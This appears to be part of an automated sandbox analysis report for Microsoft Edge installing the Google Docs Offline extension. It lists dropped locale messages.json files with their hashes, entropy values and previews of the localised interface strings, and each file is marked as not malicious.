Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
